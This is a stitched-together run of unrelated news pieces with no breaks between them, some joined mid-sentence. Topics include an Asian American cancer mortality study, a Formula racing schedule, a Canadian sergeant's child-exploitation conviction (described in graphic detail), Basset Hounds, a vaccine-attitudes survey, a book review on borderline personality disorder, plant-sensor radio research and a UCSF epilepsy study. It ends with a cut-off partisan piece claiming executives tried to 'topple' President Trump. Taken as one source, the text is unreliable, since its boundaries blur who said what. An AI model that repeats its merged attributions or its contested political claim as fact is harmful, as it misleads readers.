“A yeshiva is an institution,” said Tarawi. “An institution can be the beginning of claiming rights and these claims can bring once again the Israeli army to establish a base in the place, and we can not accept this. If the Jews try to build a yeshiva, we will shoot at them.” To interview Aaron Klein, contact M. Sliwa Public Relations by e-mail, or call 973-272-2861 or 212-202-4453.A study of cancer mortality rates and trends among Asian Americans has revealed that specific ethnic groups face higher rates of some cancer types. Researchers obtained data on 85,616 cancer-related deaths from 2003 to 2011 from the National Center for Health Statistics for the study, which was published in Cancer Epidemiology, Biomarkers & Prevention, a journal of the American Association for Cancer Research. They examined the mortality statistics by cancer type, sex, and ethnicity (divided into Asian Indian, Chinese, Filipino, Japanese, Korean and Vietnamese). As well as determining that there is generally a lower cancer death rate among Asian Americans than non-Hispanic white people, specific cancer rates were shown to differ between the various ethnic groups. Stomach cancer, for example, accounted for 10-15% of Korean cancer deaths and 5-10% of Chinese, Japanese, and Vietnamese cancer deaths. Breast cancer death rates were significantly lower among most Asian American women than non-Hispanic white women, however they were higher among those of Filipino and Asian Indian descent. The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now Lung cancer was identified as the leading cause of all cancer-related deaths among Asian American men, with a modest increase in lung cancer deaths found among Chinese, Filipina, and Japanese women specifically. Caroline A. Thompson, an assistant professor of epidemiology at San Diego State University and the study’s lead author, believes these results show that Asian Americans in the U.S. would benefit from ethnic-specific cancer prevention efforts. “For patients, it’s important to understand your risk profile and to consider cultural, lifestyle, or modifiable health behaviors that might increase your risk of cancer,” she said. In recent years, Asian Americans have surpassed Hispanics as the most rapidly growing racial or ethnic group in the U.S. There are currently 17.3 million living in the U.S., representing 5.6% of the population. By the year 2050, the U.S. Census Bureau estimates the Asian American population will exceed 40 million. Write to Kate Samuelson at kate.samuelson@time.com.14 November 2017 Salem, NH – Formula Race Promotions today announced its six-weekend 2018 schedule for the F1600, F2000 and Atlantic Championship Series. The season will open at Road Atlanta, April 20-22, before teams and drivers will head north, to Watkins Glen International, May 11-13. From Watkins Glen, it’s onto VIR, June 1-3, before FRP’s traditional Mid-Ohio weekend, June 29-July 1. Pittsburgh International Race Complex hosts FRP Championships, August 3-5, and the season then continues at Summit Point, August 24-26, with additional details to follow shortly. The F1600 Championship Series will enjoy triple-header weekends at every event, totaling an 18-race schedule. F2000 Championship Series and Atlantic Championship Series competitors will see four double-header weekends and two triple-header weekends, for a 14-race season, with event schedules to be set soon. Of note, the F2000 Glenn Phillips Memorial Classic will take place at Mid-Ohio on June 30. 2018 FRP Schedule: April 20-22: Road Atlanta May 11-13: Watkins Glen June 1-3: VIR June 29-July 1: Mid-Ohio August 3-5: Pittsburgh August 24-26: Summit PointEditor’s Note: This story contains graphic information. BELLEVILLE, Ont. – A sergeant in the Canadian Forces stationed in Trenton has been found guilty of arranging to commit a sexual offence against a child in addition to charges of possessing and making child pornography. David Rodwell, a 57-year-old air weapons systems technician based at 8 Wing, was found guilty of the three charges by Justice Elaine Deluzio in court Thursday. The trial earlier this year brought to light Rodwell’s journey into the darkest corners of the Internet in what he said was an attempt to understand, or research into, why people hurt their own children. During the trial, Deluzio heard how on May 21 of last year, Homeland Security special agent Scott Beagles entered an online incest chat room posing as an air force mother of a three-year-old. Rodwell initiated a conversation with the user. The conversation, which lasted about one hour, revolved around setting up a sexual encounter between Rodwell and a three-year-old child in San Francisco. In her decision read aloud in court Thursday, the judge said the conversation begins with Rodwell asking is the mother is "active" with her child – meaning assaulting her. The conversation moves quickly into a graphic discussion about the rape of the three-year-old child. Rodwell tells the other user – who he believes to be a woman – he can access military flights to fly to the San Francisco area. He suggested they meet somewhere neutral, to "get to meet and chat for a little so we gain each other’s trust, we both have a lot to lose." The conversation ends with Rodwell saying he will e-mail the "woman" with his flight number. That e-mail was never sent and the arrangements were not followed through. Beagle states he did not receive any further communication from Rodwell between the date of the conversation on May 21, 2015 and his arrest on June 4, 2015. From the computer seized from Rodwell, police found five videos and 33 unique images depicting child pornography. All images and videos clearly depict infants, toddlers and prepubescent children in various stages of undress. Several of them depicted the child being assaulted. Hastings County Crown attorney Lee Burgess filed a disc with more than 4,000 pages of Internet chat logs showing Rodwell communicated mostly with users who identify themselves as mothers of young children. "Almost all of the communications involve graphic, explicit conversations about raping and sexually abusing young children," said Deluzio. "Several of the chats involve detailed discussions between Mr. Rodwell and users who identify themselves as mothers who are willing to rent out their children for sex." The recorded chat logs establish that Rodwell received and reviewed multiple links to child pornography including a five-minute video of a toddler being assaulted. "Once viewed, the video is impossible to forget," the judge said. Throughout his testimony, Rodwell maintained that he participation in the chat rooms was research he was conducting in an attempt to understand the abuse he suffered as a young child. "In a lengthy attempt at self psychoanalysis he explained that he participated in the incest chat rooms because he was looking for answers and trying to understand why women sexually abuse children," Deluzio said. The judge went on to say she found his testimony nonsensical and inconsistent. "The salacious tone and disturbing content of these conversations and horrific nature of the images he views and comments on stands in stark contrast with Mr. Rodwell’s testimony that he would never harm a child," she said. Further, in the thousands of pages of chats obtained by police, there is not a single conversation in which Rodwell asks anyone why they are involved in the exchange of child pornography. He maintained that was because most people he talked to were men posing as women. Deluzio said people taking to the "dark web" to discuss sexually abusing children are "hiding behind the anonymity of their online profiles in the privacy of their own homes, but they are writing down their terrible thoughts and communicating these thoughts to each other via the Internet." The communications, she said, send the message that sex with a child can and should be pursued. The words, phrases and thoughts expressed meet the definition of child pornography, said Deluzio. "The graphic, predatory nature of the chat logs entered as exhibits in this trial reveal a depraved, horrifying internet environment that normalizes the sexual abuse and torture of children." A pre-sentence report with a sexual offender assessment has been ordered. Rodwell is scheduled to be sentenced on Dec. 15. EMountney@Postmedia.comSeveral trees were felled by the storm. Canberra has been battered by winds of nearly 100 kilometres per hour, causing power outages and bringing down dozens of large trees across the territory. The State Emergency Service issued a severe thunderstorm warning just after 6:00pm on Tuesday
Biofuel Policies Increase Death and Disease in Developing Countries? Journal of American Physicians and Surgeons 16 (1):9–13. 24 Stern N. The Economics of Climate Change. Her Majesty’s Treasury, London, 2006. Advertisements Share this: Print Email Twitter Facebook Pinterest LinkedIn RedditThe Basset Hound is a short-legged breed of dog of the hound family. They are scent hounds, bred to hunt rabbits by scent. Their sense of smell for tracking is second only to that of the Bloodhound.[1] The name Basset is derived from the French word bas, meaning "low", with the attenuating suffix -et, together meaning "rather low". Basset hounds are commonly brown and black and most often spotted, but also exist in a variety of colors.[2] Contents Description Appearance These dogs are around 1-foot in height at the withers. They usually weigh between 35 and 70 lb (16 and 32 kg). They have smooth, short-haired coats but a rough haired hound is possible. Although any hound colour is considered acceptable by breed standards, Bassets are generally tricolor (black, tan, and white), open red and white (red spots on white fur), closed red and white (a solid red color with white feet and tails), Honey And White (honey coloured back, light brown spotty nose and legs, light brown tails with white tip) and lemon and white. Some Bassets are also classified as gray or blue; however, this colour is considered rare and undesirable. They have long, downward ears and powerful necks, with much loose skin around their heads that forms wrinkles. Their tails are long and tapering and stand upright with a curve. Tails usually have white tips so the dogs are more easily seen when hunting/tracking through large bushes or weeds. The breed is also known for its hanging skin structure, which causes the face to occasionally look sad; this, for many people, adds to the breed's charm. The dewlap, seen as the loose, elastic skin around the neck, and the trailing ears, help trap the scent of what they are tracking. The Basset Hound is a large dog with short legs. They were originally bred to have osteochondrodysplasia, known as dwarfism.[3] Their short stature can be deceiving; Bassets are surprisingly long and can reach things on table tops that dogs of similar heights cannot. However, because Bassets are so heavy and have such short legs, they are not able to hold themselves above water for very long, and should never be made to swim. Full article ▸News Opinion Survey by JREF and Women Thinking Free Foundation Supports Childhood Immunization The James Randi Educational Foundation and Women Thinking, Inc. have come together for an opinion survey aimed at better understanding the spread of the unfounded “vaccine panic” that prevents some parents from getting important immunizations for their children. The project, Immunization: Myths, Misconceptions, and Misinformation, explores better ways to communicate a “vaccine-positive” message. "Vaccine misconceptions have been running rampant, which should not only be concerning to science advocates but to parents and the greater public," said WTinc President Louise Kellar. "Previously it had been unclear which misconceptions had been taking a toll on parents. Through this survey that the JREF funded, we hope that that science advocates and educators will be able to focus their outreach efforts, thereby helping children have the best start in life and hopefully saving some lives in the process.” The joint project is an opinion survey that includes data from hundreds of parents of young children. The survey data was collected by volunteers at events where parents may be especially vulnerable to “anti-vaccine” messages. The JREF and Women Thinking, Inc. is happy to make the results freely available to public health and science advocates to help inform their efforts to support childhood immunity. “There are some provocative conclusions that may be drawn from the survey data,” said JREF President D.J. Grothe. “Although the scientific community has done a good job refuting the misinformation of the most vocal anti-scientific anti-vaccine campaigners, the survey data suggests that most parents do understand the importance of ‘herd immunity,’ but just consider this a greater risk than possible harm to their children coming from vaccination. We hope the information from the survey will help science educators and activists better understand parents’ concerns in order to help them make the healthiest choices regarding childhood immunity from dangerous diseases.” The JREF-WTinc survey, conducted over the last two years and released to the public today, aims to help science advocates fill gaps in the public’s understanding of the vaccine panic. The opinion survey asked specific questions about parents’ beliefs and fears about immunization, their media consumption, and their conversations with friends, family, and doctors. From the report: “The most effective anti-vaccination arguments are those that induce fear in parents by naming frightening ingredients and by greatly exaggerating the risks of vaccinations. The best pro-vaccination arguments were those that focused on a good-parenting message, such as suggesting that not immunizing your child is equivalent to putting them in a car without a car seat.” You may download a copy of Immunization: Myths, Misconceptions, and Misinformation here. Background on the Vaccine Panic In 1998, Andrew Wakefield published a paper describing his researchâ€”secretly funded by lawyers planning to sue vaccine manufacturers which purported to find evidence linking one childhood vaccine with autism. Even though the British General Medical Council found that Wakefield had falsified his data, the British Medical Journal exposed his work as an “elaborate fraud,” and other research has shown no correlation between vaccines and autism, an unfounded fear of vaccines still persists. Media personalities like Jenny McCarthy have used their celebrity to urge parents to avoid immunizations for their children, and authors and publishers are still profiting by selling anti-vaccine books to parents. Immunization rates have dropped, and there have been new deadly outbreaks of preventable diseases such as measles, whooping cough, and haemophilus influenzae type b, which were all but eradicated 15 years ago. Although most parents are still immunizing their children, a significant minority are delaying immunizations or skipping all immunizations except those required by law for children to attend public school. About Women Thinking, Inc. Women Thinking, Inc. (WTinc) brings science, skepticism and critical thinking to the women of the Midwest. WTinc’s Hug Me! I’m Vaccinated campaign aims to educate new and expecting parents, and the population in general, about the benefits and importance of having themselves and their children vaccinated by countering the misinformation and pseudoscience being promoted against vaccines. About the JREF The James Randi Educational Foundation (JREF) was founded in 1996 to promote critical thinking by reaching out to the public and media with reliable information about paranormal and pseudoscientific ideas so widespread in our society today. The JREF’s Science Based Medicine project works to provide the public with reliable information about unproven alternative medical practices and dangerous medical myths. The JREF offers a still-unclaimed million-dollar reward for anyone who can produce evidence of paranormal abilities or certain pseudoscientific phenomena under controlled conditions. Through innovative resources for educators, free educational content online, and seminars and events, the JREF works to promote critical thinking and skepticism about harmful paranormal and pseudoscientific beliefs.MEDELLÍN, Colombia — Most everyone agrees: The only thing worse than killing is being killed. If our lives are threatened, we have the right to defend ourselves, with force if necessary. In a civilized society, that defense is delegated to the state. But not all of us, apparently, live in that kind of civilized society. Colombia in the 1990s saw the rise of vigilante self-defense groups. In its impotence and desperation at not being able to rapidly win the war against the guerrilla army (which was essentially a drug cartel) and against the drug lord Pablo Escobar’s private army, the state gave the green light to these groups — called Convivir. They were made up of agricultural laborers, trained by soldiers, and financed by landowners and agribusinesses. When they began to extort money from the very businessmen who were financing them, they were declared illegal. But it was already too late. They had become clandestine paramilitary groups, using the same weapons as those they were fighting: kidnapping, murder of innocents, drug trafficking. What has been going on these last few months in Mexico, in the western state of Michoacán, makes me fear that the same thing is happening there today. “Autodefensas” have organized to drive out the vicious local drug cartel, called the Knights Templar. After first demanding that the vigilantes disband, the government of President Enrique Peña Nieto has now sanctioned them as part of the Rural Defense Corps — at least nominally under the control of the military. This is how it happens. The army, with the blessing of the central authorities, looks for an ally, a lesser evil among the local powers. Compared with the cruel and bloodthirsty Knights Templar, the self-defense groups have popular support and are allowed to operate. Meanwhile, the government ignores the fact that some of these vigilantes might be financed by the enemies of the Knights Templar — for example, rival drug gangs or another cartel from the neighboring state of Jalisco. The government allows the vigilantes to act for a while, but when it tries to come back in, the self-defense groups will have turned into a real armed power with whom the government will have to make a pact, for without them the state won’t be able to assert its authority.Paybacks are, well, you know how it goes. Some of the EU countries may have to explain their own role in the Bush-era rendition policies but demanding that the US lives by the rule of law is what we should expect whether at home or abroad. Washington Post: European prosecutors are likely to investigate CIA and Bush administration officials on suspicion of violating an international ban on torture if they are not held legally accountable at home, according to U.N. officials and human rights lawyers. Many European officials and civil liberties groups said they were disappointed by President Obama’s opposition to trials of CIA interrogators who subjected terrorism suspects to waterboarding and other harsh tactics. They said the release last week of secret U.S. Justice Department memos authorizing the techniques will make it easier for foreign prosecutors to open probes if U.S. officials do not.Remnants of a Life on Paper: A Mother and Daughter's Struggle with Borderline Personality Disorder By Bea Tusiani, Pamela Ann Tusiani & Paula Tusiani-Eng A Book Review by Dr. Lloyd Sederer If you are looking for reasons to believe in God, they abound in this book. If you are looking for reasons not to believe in God, they abound in this book. I knew the outcome of the Remnants of a Life on Paper, having heard it from the mother, Bea Tusiani, whom I met recently for the first time at a psychiatric meeting in NYC. Yet this book was still a page-turner of a memoir -- written, compiled and told with utter candor and generosity by a mother who lost her 23-year-old daughter. We accompany, for 2.5 years, a family's nightmarish struggle from the time their 20-year-old child became acutely ill with a common mental disorder -- about which we know far too little about its pathogenesis and even less about how to master its destructive symptoms and debilitating psychic confusion. Personality disorders, by definition, are disturbances of character that begin in adolescence and form the ongoing basis of how a person feels, thinks and behaves. These disorders are not transient: They are enduring and exceedingly difficult to change. Borderline personality disorder (BPD) is one of these character disturbances: people affected show a myriad of often changing symptoms (which can make diagnosis difficult, at first) including intense mood swings; impulsivity leading to often horrific judgment and self-destructive behaviors; chaotic relationships driven by urgent needs for attachment, yet an inability to tolerate closeness and dread of abandonment; episodes of loss-of-reality testing (where psychotic symptoms transiently appear); profound difficulties maintaining a sense of identity (who am I?); and commensurate problems in tolerating living in one's own skin. Frequently, alcohol and drug use and abuse, and anorexia and bulimia accompany BPD and add to a person's turmoil and treatment challenges. Here is how Pamela Tusiani put it (p. 144): The demon nests inside me. When it wakes, I fall into a trance of violent paranoia. Blue and yellow pills line up at full attention. Tempted by distaste, My heart pumps with thick muddy rage. BPD is twice as common as schizophrenia and bipolar illnesses (combined), with likely more than 10 million people in the USA impacted (2 to 6 percent of the adult population). Women are more frequently diagnosed with this condition, but they are not alone in experiencing it. BPD disproportionately represents psychiatric inpatient and outpatient statistics, perhaps because of how the internal turmoil of the condition generates external chaotic and destructive behaviors. Pamela was the third child of native New Yorkers and an honors college student at Loyola College when she was first hospitalized at the Johns Hopkins Medical Center psychiatric unit in 1998. Experienced doctors then said she was depressed and that treatment would help her in a matter of weeks. But the depression was the tip of the iceberg, or maybe an indication of the hell brewing inside. She did not promptly recover. She left school, returned to NYC, had multiple hospital stays and 12 ECT treatments before the diagnosis of BPD was made. She was often suicidal, took overdoses of pills and cut herself frequently and deeply. After five months and five hospitalizations she seemed to be doing worse, not better. Her parents, Bea and Mike, are impressively resourceful people. With their unrelenting support and advocacy Pamela was admitted to Austen Riggs, a long-term, open psychiatric treatment center that focuses on providing intensive psychotherapy. It is set on a small campus of residential buildings located in the semi-rural New England town of Stockbridge, Massachusetts. She spent 19 non-consecutive months there, as her parents paid out of pocket the tens of thousands of dollars it cost each month. Riggs proved that it "has more freedom than she can handle." (p. 94). The clinical leadership at Riggs said she had to leave and recommended (what evidently they believed) to be an accredited program for people with "dual diagnoses," i.e., psychiatric and substance-use disorders, in Malibu, California, called Road to Recovery. This program was equally financially demanding and 3,000 miles away from family and home. Pamela's course at Road to Recovery was labile, with times of sobriety and rebuilding her life and times of falling into states of impulsivity and self-abuse. She developed seizures, which proved to be "psychogenic," meaning that it was her psychology, not her neurology that produced them. Such is the power of the mind. People with BPD have limited responses to psychiatric medications, and many drugs (of a variety of classes) were tried on Pamela -- but her depression, anxiety, distortions of reality and impulsivity prevailed. The side effects of these drugs, alone or in combination, can be unbearable, especially if benefits are minimal: weight increases, fatigue is constant, libido evaporates, concentration is very hard, and dizziness an ever-present threat. Over two years after her first episode of illness, her mother read about a medication called Parnate, a drug that I used a great deal until the serotonin drugs (like Prozac and Paxil) came along in the 1990s. Parnate is in the class of anti-depressants called monoamine oxidase inhibitors (as is Nardil), and has been shown to be helpful in "atypical depressions," the type of mood states that people with BPD can have. Pamela spoke with her prescribing psychiatrist affiliated with the California program about Parnate and she began to take it. That the medication, however, left her vulnerable to a known, serious adverse effect, to which she succumbed -- likely unnecessarily so. I believe all behaviors serve a purpose. They may not make sense at first, but they are "solutions" (p. 219) to severe psychic states that demand response or relief. Cutting is a good example, where the act can seem senseless but instead it quiets (transiently) emotional pain and self-loathing. Compulsive sexuality or drug intoxication also serve purposes, which are vital to understand if a person is to find other, less destructive, answers to their compelling distress. The long-term treatment of mental disorders (including BPD), when done well, involves helping a person understand their experience and find alternate methods of mastery. Pamela was well into her journey of recovery when a series of treatment program and medical errors conspired to kill her. The awful irony was that she did not take her life, but irresponsible, stigmatizing and poor residential and medical care did. One of the moments, and there are many in the closing pages of this book, that gives me shame about how professionals and administrators do not meet their responsibilities, was in the Emergency Room at UCLA medical center. Pamela had been brought there after experiencing a known hypertensive drug reaction induced by eating certain types of cheese while taking Parnate. The reaction is characterized by very high blood pressure with confusion, headache and restlessness. But instead of those serious symptoms being recognized, her clinical state was attributed to her being a drug user, a "mental patient," and she was put on suicide watch. The result was that she did not receive the proper medical evaluation and care that might have spared her life. This is disturbingly common today, over 10 years later, as reported in medical reports of psychiatric patients being segregated and not getting proper attention for heart, lung or other problems that prompted their emergency visit. Many don't say they have a psychiatric condition to prevent this from happening. Other moments that made me cringe were told with clarity and intelligence throughout the book. Among the most disturbing are examples of demonizing parents of a person with a mental illness or blaming the victim (of rape, for example) because she has a psychiatric condition. Reading about what appears to have been a coverup of wrong doing in the California residential program was enraging for me. Imagine what that was like for her parents and siblings. Having been the medical director of McLean Hospital, a Harvard psychiatric teaching hospital, and a government official for more than 12 years, I believe everything depicted in this profound book is not only possible, but happens more than we want to think. The story of Pamela and her family's labors and love for each other is told in alternating prose by Bea, the mother, and "remnants" from Pamela's journals, which she appears to have faithfully kept and are given to us in spare and thoughtful segments as time goes by. There are also vivid paintings and drawings by Pamela at various stages of her short life from the time she became acutely ill. These are emblematic of her demons as well as illustrative of her creative talents. Paula Tusiani-Eng, another daughter in their family, is also listed as author. She was instrumental in the legal work and in giving the story its first-person voice. This book is a family affair -- surely one way they have worked to recover and to help others similarly affected. But I am most admiring of Bea. As has been said, no parent, no mother, should see a child die. And to lose a child who may have recovered is all the more agonizing. Bea Tusiani only tells us at the end of the book that she is a writer -- though it is plain enough how powerful a writer she is as she lets the story, the events she chronicles, show us so much about her daughter, her family, and our flawed mental health and medical systems. What is also so inspiring about the book Bea Tusiani has given us, which is why I found hope (reason to believe), is how she gives us a front-row seat, so we witness the courage, love, determination and stamina of the Tusiani family. I am sure that Pamela would be proud to see how her pain, spirit and resilience -- and that of her loved ones -- have been so sensitively and cogently captured in these "remnants...on paper." --- Dr. Sederer's new book for families who have a member with a mental illness is The Family Guide to Mental Health Care (Foreword by Glenn Close).Buffalo Mass Mob VIII will take place on Sunday, January 18, 2015 at Saint Casimir Church’s 10:00 AM Mass. Buffalo Mass Mob started in 2013 as way to draw attention to struggling Buffalo inner city churches. A Mass Mob is similar to a flash mob, but the idea centers around inviting people to come worship at a church organizers select to give a one day boost in the pews and in the collection basket. Christopher Byrd, Buffalo Mass Mob co-founder said, “The concept is simple. We want to showcase Buffalo’s historic churches, but we want the community to see them in their intended purpose. A lot of the city’s churches have fallen off people’s radar screens. This gives people who come to a Mass Mob an opportunity to share in the living and breathing history of a church and an understanding of how important they are to the cultural and historic fabric of Buffalo.” Originated in Buffalo, the mass mob movement has garnered national and international attention. Buffalo Mass Mob has inspired people in other cities to organize their own. The Mass Mobs have drawn thousands people to historic houses of worship throughout the city. The effort has also raised over $35000 for the churches. Saint Casimir Church, located at Casimir and Weimar Streets in Buffalo’s Kaisertown area, was established in 1890 as the Polish immigrant population of the neighborhood grew to large numbers. The Chopin Singing Society will provide music for the mass. A tour of the church will take place at 9:30am. Buffalo Mass Mob invites the general public to come support Saint Casimir Church. More information on Buffalo Mass Mob can be found by visiting www.BuffaloMassMob.org. ———————————————— Click here to read some history on Saint Casimir Church—> AdvertisementsManchester United will be without Ashley Young for a further two to three weeks because of bruised cartilage on his knee. Sir Alex Ferguson confirmed the England forward, 27, who has not played since August, would not be rushed back. Ferguson said: "We're taking our time. You can easily play with it and train but we're not going down that road, we want to make sure he's okay." Wayne Rooney should be fit to play next week, the United manager added The England striker has not featured for United since suffering a gash on his right thigh after coming on as a substitute during a 3-2 victory over Fulham on 25 August. "He's not far away. I think he may be fine for next week," said Ferguson. "He's doing a lot of great training and has been working hard. It's just a matter of getting him into the full football training side of things, which he has been part of." Young has also not played since the victory over Fulham but he was not expected to return to action as quickly as team-mate Rooney. Ferguson said: "We get a lot of experiences these days of these injuries re-occurring when they come back too quickly and we don't want that with the players. We want to give them a full recovery. "He should be okay in two or three weeks' time." Ferguson revealed Darren Fletcher, who came on as substitute in the 1-0 Champions League victory over Galatasaray, is expected to start Wednesday's Capital One Cup tie against Newcastle.That in the future plants will be able to “talk” to us, broadcasting their water state or signaling s.o.s. in the presence of “unwelcome” parasitic guests is not an extract from a futuristic science fiction novel nor does it border on the insane. The fundamental notion that plants are inherently inexpensive, sustainable sensors for monitoring environmental factors such as soil quality and air pollution has been inquired into for quite a while now by academic institutions all over the world. Most of these fascinating “Internet-of-Vegetables” researches have made heavy use of the typical Marconi radio transmitter. A Marconi radio e.g. a Bluetooth or ZigBee transmitter, consists of a sensor that has a capacitor, which is inserted inside the soil and transmits to your cell phone how wet the soil is using a simple capacitive soil moisture sensor. This system establishes a “unique” relationship between the plant and the farmer. The latter gets to know the plant’s needs, singles out emerging problems in prompt time, discerns alarmingly high humidity or low temperatures and waters the plant at the exact right time. Consequently, irrigation requirements slacken off by 20 to 30 per cent and farmers get their hands on a much more advanced knowledge of their plant’ s state, not to mention that consumers eat greener. Structurally, a typical Marconi radio transmitter has a microcontroller or processor, and some signal conditioning animals, basically a filter, a mixer, an oscillator and a power amplifier. “That amounts to complexity and energy and monetary costs,” says Dr. Aggelos Bletsas, Professor of School of Electronic and Computer Engineering of the Technical University of Crete (TUC). “ If you want to network 10000 plants, it will cost tens to hundreds of dollars per plant, and will take about 60 milliWatts per plant for ranges of 100 meters to 1 kilometer. You can’t go lower than that.” The research team Dr. Bletsas leads has fabricated a groundbreaking way to yield Marconi-type benefits sans the energy and financial burdens attached to a conventional Marconi transmitter. “We got rid of all these little annoying animals,” says Dr. Bletsas. “Instead, we opted for one radio for each plant that has one antenna, one transistor that acts as a switch, and one low-cost microcontroller.” “You illuminate the antenna with a carrier and that antenna reflects back that wave. The plant can modulate information by a very smart switching of this antenna. All you need is a switch. You have used that, you have seen that. Think about the alarm that sets off when a lady steps out of your favorite store without having removed a simple RFID tag. This device is based on the principles of the very same RFID technology or Radio Frequency Identification technology,” says Dr. Bletsas. Traditional RFID technology covers a limited range of a few meters, however. Technical University of Crete is currently laying the groundwork for the creation of scatter radio of the order of tens to hundreds of meters. How? “In typical RFID applications, the reader has also the illuminator of the initial wave. We separated these two. The carrier reader is a different device from the reader of the scatter information. You illuminate the tag with a carrier, the tag modulates information using this trick with the switch, and the reader demodulates the data the plant sends, extracting the information the user wants using smart signaling process – we worked hard on intelligent, software-defined signal processing at the reader, highlighting the differences with conventional Marconi-type signals, as well as efficient modulation and powering at the tag – the latter is so simple in terms of hardware and power consumption that could be powered by various means, including solar energy or super capacitors or other means that need no battery replacement” says Dr. Bletsas. “This is bistatic scatter radio architecture. Our idea is based on backscatter communication, that is communication by means of signal reflection, rather than active signal transmission. With backscatter communication and appropriate design, the RF front-end of each sensor can be simplified to a single transistor, reducing complexity and cost by at least one-order-of magnitude, compared to conventional (i.e. Marconi-type) radios. Current RFID systems target short-range, large bit-rate applications but our research team leverages the idea of backscatter communication for long-range, low bit-rate and large number of simultaneously operating low-complexity sensors,” says the Professor. And all these at the cost of a couple of euros. The next big challenge is to treat plants as sensors themselves. “Plants are very intelligent sensors,” affirms Dr. Bletsas. “Instead of monitoring external parameters why not plug electrodes at the plant stem and convert that electric potential (EP) voltage to periodic signal that has a fundamental frequency proportional to that EP signal and transmit it with the same principle?” By monitoring the electric potential the user can decipher not only whether there is rain in the air or soil but also whether the plant itself has been watered or not. Solar irradiance and electric potential signal are fully correlated. “By monitoring electric potential signal I can find out what time of the day this signal appeared. So I can find out the clock of the plant, “says Dr. Bletsas. Clearly, the Internet of Vegetables offers a new window into decrypting plant mechanisms of communication previously unfathomed. In this optimistic context, TUC is ready to break new barriers for the way plants “network” with their kind and humans. “Our main goal was to create systems enabling a large communication range of 150 meters. We have done it”. “Then, a sensor and radio that cost less than a euro. We are at about 5 euros in quantities of ten now but the ultimate aim is not far. If we scale production up to quantities of 10000 or 100000 it may go down.” “We want completely battery less sensors. We are close“. A fascinating spectrum of projects on the Internet of Things (IoT) will radically make over the physical world into one that is as “graspable” and comprehensible as the digitalized one. In the specific case of plants, agricultural fields with dense environmental sensor networks savvying how plants communicate, how they suffer and how their biological clock “ticks” will occasion to maximum irrigation efficiency and plant health at the lowest energy and monetary cost. Are you ready to tune with the greens?Advertising Taking a stand against tobacco and the existing warnings on cigarette packets, 653 doctors and seven medical associations from across India have become signatories to a joint letter to Prime Minister Narendra Modi and Union Health Minister J P Nadda, seeking implementation of the new pictorial warnings on packs of tobacco products from April 1. The move comes after a report tabled by the Parliamentary Committee on Subordinate Legislation (CoSL) stated that pictorial warnings should be reduced to 50 per cent of the display area from 85 per cent, which was proposed by the Ministry of Health and Family Welfare. Currently, the warnings cover 40 per cent of the product package area. [related-post] The letter, addressed to Modi, read: “A series of events subsequently has forced the public health community to believe that the powerful tobacco lobby has overshadowed your personal commitment to make India healthier. The latest such event being the recommendations of the Committee on Subordinate Legislation to delay and dilute the notification for pictorial warning.” The new pictorial warning signs were to be implemented from April 1. The parliamentary committee was, however, of the view that the size of the warning should be reduced. Advertising According to Sanjay Seth, chief of an anti-tobacco campaign, 10 lakh Indians die every year because of tobacco.UC San Francisco Cell Therapy Raises Hope for Severe Human Forms Newswise — Epilepsy that does not respond to drugs can be halted in adult mice by transplanting a specific type of cell into the brain, UC San Francisco researchers have discovered, raising hope that a similar treatment might work in severe forms of human epilepsy. UCSF scientists controlled seizures in epileptic mice with a one-time transplantation of medial ganglionic eminence (MGE) cells, which inhibit signaling in overactive nerve circuits, into the hippocampus, a brain region associated with seizures, as well as with learning and memory. Other researchers had previously used different cell types in rodent cell transplantation experiments and failed to stop seizures. Cell therapy has become an active focus of epilepsy research, in part because current medications, even when effective, only control symptoms and not underlying causes of the disease, according to Scott C. Baraban, PhD, who holds the William K. Bowes Jr. Endowed Chair in Neuroscience Research at UCSF and led the new study. In many types of epilepsy, he said, current drugs have no therapeutic value at all. “Our results are an encouraging step toward using inhibitory neurons for cell transplantation in adults with severe forms of epilepsy,” Baraban said. “This procedure offers the possibility of controlling seizures and rescuing cognitive deficits in these patients.” The findings, which are the first ever to report stopping seizures in mouse models of adult human epilepsy, will be published online May 5 in the journal Nature Neuroscience. During epileptic seizures, extreme muscle contractions and, often, a loss of consciousness can cause seizure sufferers to lose control, fall and sometimes be seriously injured. The unseen malfunction behind these effects is the abnormal firing of many excitatory nerve cells in the brain at the same time. In the UCSF study, the transplanted inhibitory cells quenched this synchronous, nerve-signaling firestorm, eliminating seizures in half of the treated mice and dramatically reducing the number of spontaneous seizures in the rest. Robert Hunt, PhD, a postdoctoral fellow in the Baraban lab, guided many of the key experiments. In another encouraging step, UCSF researchers reported May 2 that they found a way to reliably generate human MGE-like cells in the laboratory, and that, when transplanted into healthy mice,the cells similarly spun off functional inhibitory nerve cells. That research can be found online in the journal Cell Stem Cell. In many forms of epilepsy, loss or malfunction of inhibitory nerve cells within the hippocampus plays a critical role. MGE cells are progenitor cells that form early within the embryo and are capable of generating mature inhibitory nerve cells called interneurons. In the Baraban-led UCSF study, the transplanted MGE cells from mouse embryos migrated and generated interneurons, in effect replacing the cells that fail in epilepsy. The new cells integrated into existing neural circuits in the mice, the researchers found. “These cells migrate widely and integrate into the adult brain as new inhibitory neurons,” Baraban said. “This is the first report in a mouse model of adult epilepsy in which mice that already were having seizures stopped having seizures after treatment.” The mouse model of disease that Baraban’s lab team worked with is meant to resemble a severe and typically drug-resistant form of human epilepsy called mesial temporal lobe epilepsy, in which seizures are thought to arise in the hippocampus. In contrast to transplants into the hippocampus, transplants into the amygdala, a brain region involved in memory and emotion, failed to halt seizure activity in this same mouse model, the researcher found. Temporal lobe epilepsy often develops in adolescence, in some cases long after a seizure episode triggered during early childhood by a high fever. A similar condition in mice can be induced with a chemical exposure, and in addition to seizures, this mouse model shares other pathological features with the human condition, such as loss of cells in the hippocampus, behavioral alterations and impaired problem solving. In the Nature Neuroscience study, in addition to having fewer seizures, treated mice became less abnormally agitated, less hyperactive, and performed better in water-maze tests. Additional UCSF study authors include Arturo Alvarez-Buylla, PhD, UCSF professor of neurological surgery; John Rubenstein, MD, PhD, UCSF professor of psychiatry; and Kelly Girskis, staff research associate. The research was funded by the National Institutes of Health and by the California Institute of Regenerative Medicine. UCSF is a leading university dedicated to promoting health worldwide through advanced biomedical research, graduate-level education in the life sciences and health professions, and excellence in patient care. ### Follow UCSFUCSF.edu \| Facebook.com/ucsf \| Twitter.com/ucsf \| YouTube.com/ucsfThis is a summary of When Silicon Valley Went Off the Cliff focusing on connections and parallels between the short lived “ban alarmism” and climate alarmism. From January 28 through February 8, a number of Silicon Valley and Washington state corporate executives participated in an attempt to topple President Trump, orchestrated by the Left after President Trump signed the original order, Executive Order No. 13769 Protecting the Nation From Foreign Terrorist 